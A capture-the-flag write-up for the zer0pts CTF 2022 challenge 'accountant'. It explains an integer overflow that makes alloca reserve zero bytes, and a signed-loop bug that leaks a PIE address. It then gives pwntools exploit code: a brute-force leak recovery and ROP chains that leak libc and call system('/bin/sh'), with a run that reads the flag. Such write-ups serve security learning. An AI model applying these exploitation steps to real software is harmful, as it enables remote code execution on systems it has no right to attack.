zer0pts CTF 2022 - accountant

Christian Wolff is an accountant.

nc pwn1.ctf.zer0pts.com 9001

Attachment: accountant.tar.gz xpl.py

Team: Super HexaGoN

Number of items: 2
Item 1:
  Price: $1
  Quantity: 2
Item 2:
  Price: $3
  Quantity: 4
Total: $14
Would you like to fix data? [1=Yes] 1
Index to modify (-1 to quit): 0
Item 1:
  Price: $100
  Quantity: 200
Index to modify (-1 to quit):

The accountant challenge lets us define a number of items, define them and after that allows us to modify them before calculating the final total cost.

//  Allocating items
#define safe_alloca(N) ((N) < 4032 ? alloca (N) : NULL)

if ((items = safe_alloca(n * sizeof(Item))) == NULL) {
  use_malloc = 1;
  if ((items = calloc(n, sizeof(Item))) == NULL) {
    puts("Memory Error\n");
    return 1;
  }
}
...

// Modifying items
if (get_value("Would you like to fix data? [1=Yes] ") == 1) {
  while (1) {
    off_t i = get_value("Index to modify (-1 to quit): ");
    if (i < 0 || i >= n)    
      break;
    else
      input_data(items, i);
  }
  printf("Total: $%ld\n", calc_total(items, n));
}

If we would achieve to define a big n (size of items array), while allocating a smaller list of items, the modification code would result in an oob write primitive. This would be even better, if we can use the alloca branch, since that would allocate the list on the stack, so that we’d be able to write a ropchain there.

To achieve that, the parameter for safe_alloca needs to be smaller than 4032, so that alloca is used. And since we would like to have n being bigger than the real allocated space, it becomes obvious, that we’ll need to abuse an integer overflow.

if ((items = safe_alloca(n * sizeof(Item))) == NULL) {

Xion pointed out quite early, that using a size of 0x2000000000000000 would result in an overflow and to a pie leak in calc_total afterwards.

If it’s not obvious at this point:

sizeof(Item) = 8
0x2000000000000000 * 8 = 0x10000000000000000 (not fitting in 64 bit) => 0x0

=> safe_alloca(0)
=> n = 0x2000000000000000

So after that n would have a value of 0x2000000000000000, but the chunk was allocated with size 0x0, allowing us to overwrite all the data behind on the stack via the modification code.

But to do so, we’d first need a leak to find some proper rop gadgets, since the challenge has PIE enabled.

Getting the leak was a bit more tricky than doing the ropchain afterwards, so let’s take a look at “what” exactly we can leak.

int64_t calc_total(Item *items, int n) {
  int64_t total = 0;
  int i = n - 1;
  do {
    total += items[i].price * items[i].quantity;
  } while(i-- > 0);
  return total;
}

Since i is an int, assigning n-1 will set it to -1 before the loop and since i-- is negative already at that point, will execute the loop only once.

So that code boils down to:

total = items[-1].price * items[-1].quantity;

Since price and quantity are also 32bit ints, it will multiply the lower 32 bit of a value on the stack with the higher 32 bit of that value and store it back into a 32 bit value (thus losing information to reverse this multiplication in a reliable way).

Checking this in gdb might make the issue more clear.

0x0000555555554a8a in calc_total ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xffffffffffffffff     # i = -1
$rbx   : 0x2000000000000000
$rcx   : 0x0               
$rdx   : 0xe000000000000000
$rsp   : 0x00007fffffffecf8  →  0x0000555555554b6c  →  <main+191> mov rdx, rax
$rbp   : 0x00007fffffffed50  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007fffffffed00  →  0x0000000000000000
$rip   : 0x0000555555554a8a  →  <calc_total+5> lea rcx, [rdi+rax*8+0x4]
$r8    : 0x1999999999999999
$r9    : 0x0               
$r10   : 0x00007ffff7f72ac0  →  0x0000000100000000
$r11   : 0x00007ffff7f733c0  →  0x0002000200020002
$r12   : 0x00007fffffffed00  →  0x0000000000000000
$r13   : 0x00007fffffffed00  →  0x0000000000000000
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555554a83 <input_all_data+40> repz   ret
   0x555555554a85 <calc_total+0>   lea    eax, [rsi-0x1]
   0x555555554a88 <calc_total+3>   cdqe   
 → 0x555555554a8a <calc_total+5>   lea    rcx, [rdi+rax*8+0x4]
   0x555555554a8f <calc_total+10>  mov    eax, 0x0
   0x555555554a94 <calc_total+15>  mov    edx, DWORD PTR [rcx-0x4]
   0x555555554a97 <calc_total+18>  imul   edx, DWORD PTR [rcx]
   0x555555554a9a <calc_total+21>  movsxd rdx, edx
   0x555555554a9d <calc_total+24>  add    rax, rdx
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffecf8│+0x0000: 0x0000555555554b6c  →  <main+191> mov rdx, rax	 ← $rsp
0x00007fffffffed00│+0x0008: 0x0000000000000000	 ← $rdi, $r12, $r13
0x00007fffffffed08│+0x0010: 0x0000555555554b19  →  <main+108> test rax, rax
0x00007fffffffed10│+0x0018: 0x0000000000000001
0x00007fffffffed18│+0x0020: 0x72b02c87d3d1f400
0x00007fffffffed20│+0x0028: 0x00007ffff7fc82e8  →  0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
...
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x2000000000000000
$rcx   : 0x00007fffffffecfc  →  0x0000000000005555 ("UU"?)     <= upper 32 bit
$rdx   : 0x55554b6c                                            <= lower 32 bit
$rsp   : 0x00007fffffffecf8  →  0x0000555555554b6c  →  <main+191> mov rdx, rax
$rbp   : 0x00007fffffffed50  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007fffffffed00  →  0x0000000000000000
$rip   : 0x0000555555554a97  →  <calc_total+18> imul edx, DWORD PTR [rcx]
$r8    : 0x1999999999999999
$r9    : 0x0               
$r10   : 0x00007ffff7f72ac0  →  0x0000000100000000
$r11   : 0x00007ffff7f733c0  →  0x0002000200020002
$r12   : 0x00007fffffffed00  →  0x0000000000000000
$r13   : 0x00007fffffffed00  →  0x0000000000000000
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555554a8a <calc_total+5>   lea    rcx, [rdi+rax*8+0x4]
   0x555555554a8f <calc_total+10>  mov    eax, 0x0
   0x555555554a94 <calc_total+15>  mov    edx, DWORD PTR [rcx-0x4]
 → 0x555555554a97 <calc_total+18>  imul   edx, DWORD PTR [rcx]
   0x555555554a9a <calc_total+21>  movsxd rdx, edx
   0x555555554a9d <calc_total+24>  add    rax, rdx
   0x555555554aa0 <calc_total+27>  sub    esi, 0x1
   0x555555554aa3 <calc_total+30>  sub    rcx, 0x8
   0x555555554aa7 <calc_total+34>  test   esi, esi
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffecf8│+0x0000: 0x0000555555554b6c  →  <main+191> mov rdx, rax	 ← $rsp
0x00007fffffffed00│+0x0008: 0x0000000000000000	 ← $rdi, $r12, $r13
0x00007fffffffed08│+0x0010: 0x0000555555554b19  →  <main+108> test rax, rax
0x00007fffffffed10│+0x0018: 0x0000000000000001
0x00007fffffffed18│+0x0020: 0x72b02c87d3d1f400
0x00007fffffffed20│+0x0028: 0x00007ffff7fc82e8  →  0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

gef➤  x/gx 0x00007fffffffecf8
0x7fffffffecf8:	0x0000555555554b6c   <= Items[-1]

───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x2000000000000000
$rcx   : 0x00007fffffffecfc  →  0x0000000000005555 ("UU"?)
$rdx   : 0xa75ce6dc                                     <= leakable value
$rsp   : 0x00007fffffffecf8  →  0x0000555555554b6c  →  <main+191> mov rdx, rax
$rbp   : 0x00007fffffffed50  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007fffffffed00  →  0x0000000000000000
$rip   : 0x0000555555554a9a  →  <calc_total+21> movsxd rdx, edx
$r8    : 0x1999999999999999
$r9    : 0x0               
$r10   : 0x00007ffff7f72ac0  →  0x0000000100000000
$r11   : 0x00007ffff7f733c0  →  0x0002000200020002
$r12   : 0x00007fffffffed00  →  0x0000000000000000
$r13   : 0x00007fffffffed00  →  0x0000000000000000
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY parity adjust SIGN trap INTERRUPT direction OVERFLOW resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555554a8f <calc_total+10>  mov    eax, 0x0
   0x555555554a94 <calc_total+15>  mov    edx, DWORD PTR [rcx-0x4]
   0x555555554a97 <calc_total+18>  imul   edx, DWORD PTR [rcx]
 → 0x555555554a9a <calc_total+21>  movsxd rdx, edx
   0x555555554a9d <calc_total+24>  add    rax, rdx
   0x555555554aa0 <calc_total+27>  sub    esi, 0x1
   0x555555554aa3 <calc_total+30>  sub    rcx, 0x8
   0x555555554aa7 <calc_total+34>  test   esi, esi
   0x555555554aa9 <calc_total+36>  jg     0x555555554a94 <calc_total+15>
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffecf8│+0x0000: 0x0000555555554b6c  →  <main+191> mov rdx, rax	 ← $rsp
0x00007fffffffed00│+0x0008: 0x0000000000000000	 ← $rdi, $r12, $r13
0x00007fffffffed08│+0x0010: 0x0000555555554b19  →  <main+108> test rax, rax
0x00007fffffffed10│+0x0018: 0x0000000000000001
0x00007fffffffed18│+0x0020: 0x72b02c87d3d1f400
0x00007fffffffed20│+0x0028: 0x00007ffff7fc82e8  →  0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

Total: $-1487083812 (0xa75ce6dc)

Since imul edx will strip the result into 32bit, we cannot reliably reverse this process, but well, we’re (partly) Super Guessers, so let’s guess what the initial values could have been :)

def calc_leak(leak):
  for i in range(0x2000):
    for j in range(0x5500, 0x55ff, 1):
      # create possible 64 bit result and revert imul
      val = i<<32
      val += leak		
      val /= j

      # check if lsb matches the expected value
      if val & 0xfff == 0xb6c:
        result = j << 32
        result += val

        # double check: simulate imul with specific values
        t1 = result >> 32
        t2 = result & 0xffffffff

        test = (t1 * t2) & 0xffffffff

        # check if the result matches the original leak
        if test == leak:
          log.info("Double check good")
          return result

  log.info("None found")

With the first loop, I guessed the possible higher 32 bit of the imul result and then tried to revert it. The second loop would simulate the possible values of the higher 32 bit for the value on the stack itself, that gets multiplicated (should be something between 0x5500 and 0x55ff).

Then we can check, if the result would have it’s lower 3 nibbles match the expected leak. But this would result in a lot of possible combinations, that would match that check. So when ever finding a “possible” value, we have to do a double check with the calculated higher and lower 32 bit of the result leak to see, if that would also result in the received total value.

Since total is a signed integer value, we also need to change it to an unsigned value in python before doing the calculation.

def get_val(val):
	if val > 0x7fffffff:
		val -= 0x100000000

	if val < 0:
		val += 0x100000000

	return val

def exploit(r):
	r.sendlineafter(": ", str(0x2000000000000000))	

	r.recvuntil("Total: $")
	val = get_val(int(r.recvline()[:-1]))
	PIELEAK = calc_leak(val)
	e.address = PIELEAK-191-e.symbols["main"]

	log.info("PIE      : %s" % hex(PIELEAK))
	log.info("ELF      : %s" % hex(e.address))
	
	r.interactive()
[*] Double check good
[*] PIE      : 0x555555554b6c
[*] ELF      : 0x555555554000

Worked out pretty well and armed with a PIE leak, we can now gather some rop gadgets and do the usual ropchain.

r.sendlineafter("[1=Yes] ", "1")
	
POPRDI = e.address + 0x0000000000000d53
POPRSI15 = e.address + 0x0000000000000d51
RET = e.address + 0x00000000000007be

payload = p64(POPRDI)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(e.address + 0x880)

# write ropchain to return address of main
for i in range(0, len(payload), 8):
  modify((0x58+i)/8, u64(payload[i:i+8]))

r.sendlineafter(": ", "-1")                  # trigger exit (ropchain)

This will leak puts.got (libc) and then jump back into main, which lets us trigger the bug again.

r.recvuntil("work!\n")
LEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
libc.address = LEAK - 0x84450

log.info("LEAK      : %s" % hex(LEAK))
log.info("LIBC      : %s" % hex(libc.address))

r.sendlineafter(": ", str(0x2000000000000000))	
r.sendlineafter("[1=Yes] ", "1")

payload = p64(POPRDI)
payload += p64(next(libc.search("/bin/sh")))
payload += p64(POPRSI15)
payload += p64(0)
payload += p64(0)
payload += p64(libc.symbols["system"])

for i in range(0, len(payload), 8):
  modify((0x58+i)/8, u64(payload[i:i+8]))

r.sendlineafter(": ", "-1")                  # trigger exit (ropchain)

Knowing libc, we can then just do a normal system("/bin/sh") rop chain.

$ python work.py 1
[*] '/media/sf_ctf/zero/accountant/accountant/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[*] '/media/sf_ctf/zero/accountant/accountant/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn1.ctf.zer0pts.com on port 9001: Done
[*] Double check good
[*] PIE      : 0x55eb4b284b6c
[*] ELF      : 0x55eb4b284000
[*] LEAK      : 0x7f4399c37450
[*] LIBC      : 0x7f4399bb3000
[*] Switching to interactive mode
Total: $1601536358
Have a nice day at work!
$ ls
chall
flag-1eae7e8f51f0e28320ef9f538c8be839.txt
$ cat flag-1eae7e8f51f0e28320ef9f538c8be839.txt
zer0pts{y0u_4r3_4_c3rt1f13d_publ1c_4cc0unt4nt_if_U_R_r34d1ng_th1s}

Since there’s some guessing involved, the exploit is not 100% reliable, as it can happen that no leak is found, but it seemed to work most of the times.